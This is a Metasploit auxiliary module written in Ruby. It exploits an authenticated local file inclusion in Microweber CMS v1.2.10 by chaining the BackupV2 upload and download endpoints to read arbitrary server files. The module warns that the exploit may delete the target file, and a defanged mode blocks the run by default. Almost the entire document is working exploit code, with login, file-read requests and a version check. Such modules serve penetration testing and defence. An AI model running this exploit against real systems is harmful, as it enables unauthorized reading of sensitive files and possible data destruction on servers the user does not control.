238 lines
6.6 KiB
Ruby
238 lines
6.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Microweber CMS v1.2.10 Local File Inclusion (Authenticated)',
|
|
'Description' => %q{
|
|
Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.
|
|
Upload function may delete the local file if the web service user has access.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Talha Karakumru <talhakarakumru[at]gmail.com>'
|
|
],
|
|
'References' => [
|
|
['URL', 'https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/']
|
|
],
|
|
'Notes' => {
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'Stability' => [ OS_RESOURCE_LOSS ]
|
|
},
|
|
'Targets' => [
|
|
[ 'Microweber v1.2.10', {} ]
|
|
],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => '2022-01-30'
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The base path for Microweber', '/']),
|
|
OptString.new('USERNAME', [true, 'The admin\'s username for Microweber']),
|
|
OptString.new('PASSWORD', [true, 'The admin\'s password for Microweber']),
|
|
OptString.new('LOCAL_FILE_PATH', [true, 'The path of the local file.']),
|
|
OptBool.new('DEFANGED_MODE', [true, 'Run in defanged mode', true])
|
|
]
|
|
)
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'admin', 'login')
|
|
})
|
|
|
|
if res.nil?
|
|
fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')
|
|
end
|
|
|
|
print_status 'Checking if it\'s Microweber CMS.'
|
|
|
|
if res.code == 200 && !res.body.include?('Microweber')
|
|
print_error 'Microweber CMS has not been detected.'
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if res.code != 200
|
|
fail_with(Failure::Unknown, res.body)
|
|
end
|
|
|
|
print_good 'Microweber CMS has been detected.'
|
|
|
|
return check_version(res.body)
|
|
end
|
|
|
|
def check_version(res_body)
|
|
print_status 'Checking Microweber\'s version.'
|
|
|
|
begin
|
|
major, minor, build = res_body[/Version:\s+(\d+\.\d+\.\d+)/].gsub(/Version:\s+/, '').split('.')
|
|
version = Rex::Version.new("#{major}.#{minor}.#{build}")
|
|
rescue NoMethodError, TypeError
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
if version == Rex::Version.new('1.2.10')
|
|
print_good 'Microweber version ' + version.to_s
|
|
return Exploit::CheckCode::Appears
|
|
end
|
|
|
|
print_error 'Microweber version ' + version.to_s
|
|
|
|
if version < Rex::Version.new('1.2.10')
|
|
print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def try_login
|
|
print_status 'Trying to log in.'
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'keep_cookies' => true,
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'user_login'),
|
|
'vars_post' => {
|
|
'username' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'lang' => '',
|
|
'where_to' => 'admin_content'
|
|
}
|
|
})
|
|
|
|
if res.nil?
|
|
fail_with(Failure::Unreachable, 'Log in request failed.')
|
|
end
|
|
|
|
if res.code != 200
|
|
fail_with(Failure::Unknown, res.body)
|
|
end
|
|
|
|
json_res = res.get_json_document
|
|
|
|
if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'
|
|
fail_with(Failure::BadConfig, 'Wrong username or password.')
|
|
end
|
|
|
|
if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
|
|
print_good 'You are logged in.'
|
|
return
|
|
end
|
|
|
|
fail_with(Failure::Unknown, 'An unknown error occurred.')
|
|
end
|
|
|
|
def try_upload
|
|
print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.'
|
|
|
|
referer = ''
|
|
if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
|
|
referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
|
|
else
|
|
referer = full_uri
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'),
|
|
'vars_get' => {
|
|
'src' => datastore['LOCAL_FILE_PATH']
|
|
},
|
|
'headers' => {
|
|
'Referer' => referer
|
|
}
|
|
})
|
|
|
|
if res.nil?
|
|
fail_with(Failure::Unreachable, 'Upload request failed.')
|
|
end
|
|
|
|
if res.code != 200
|
|
fail_with(Failure::Unknown, res.body)
|
|
end
|
|
|
|
if res.headers['Content-Type'] == 'application/json'
|
|
json_res = res.get_json_document
|
|
|
|
if json_res['success']
|
|
print_good json_res['success']
|
|
return
|
|
end
|
|
|
|
fail_with(Failure::Unknown, res.body)
|
|
end
|
|
|
|
fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.')
|
|
end
|
|
|
|
def try_download
|
|
filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1]
|
|
print_status 'Downloading ' + filename + ' from the backup folder.'
|
|
|
|
referer = ''
|
|
if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
|
|
referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
|
|
else
|
|
referer = full_uri
|
|
end
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'download'),
|
|
'vars_get' => {
|
|
'filename' => filename
|
|
},
|
|
'headers' => {
|
|
'Referer' => referer
|
|
}
|
|
})
|
|
|
|
if res.nil?
|
|
fail_with(Failure::Unreachable, 'Download request failed.')
|
|
end
|
|
|
|
if res.code != 200
|
|
fail_with(Failure::Unknown, res.body)
|
|
end
|
|
|
|
if res.headers['Content-Type'] == 'application/json'
|
|
json_res = res.get_json_document
|
|
|
|
if json_res['error']
|
|
fail_with(Failure::Unknown, json_res['error'])
|
|
return
|
|
end
|
|
end
|
|
|
|
print_status res.body
|
|
end
|
|
|
|
def run
|
|
if datastore['DEFANGED_MODE']
|
|
warning = <<~EOF
|
|
Triggering this vulnerability may delete the local file if the web service user has the permission.
|
|
If you want to continue, disable the DEFANGED_MODE.
|
|
=> set DEFANGED_MODE false
|
|
EOF
|
|
|
|
fail_with(Failure::BadConfig, warning)
|
|
end
|
|
|
|
try_login
|
|
try_upload
|
|
try_download
|
|
end
|
|
end
|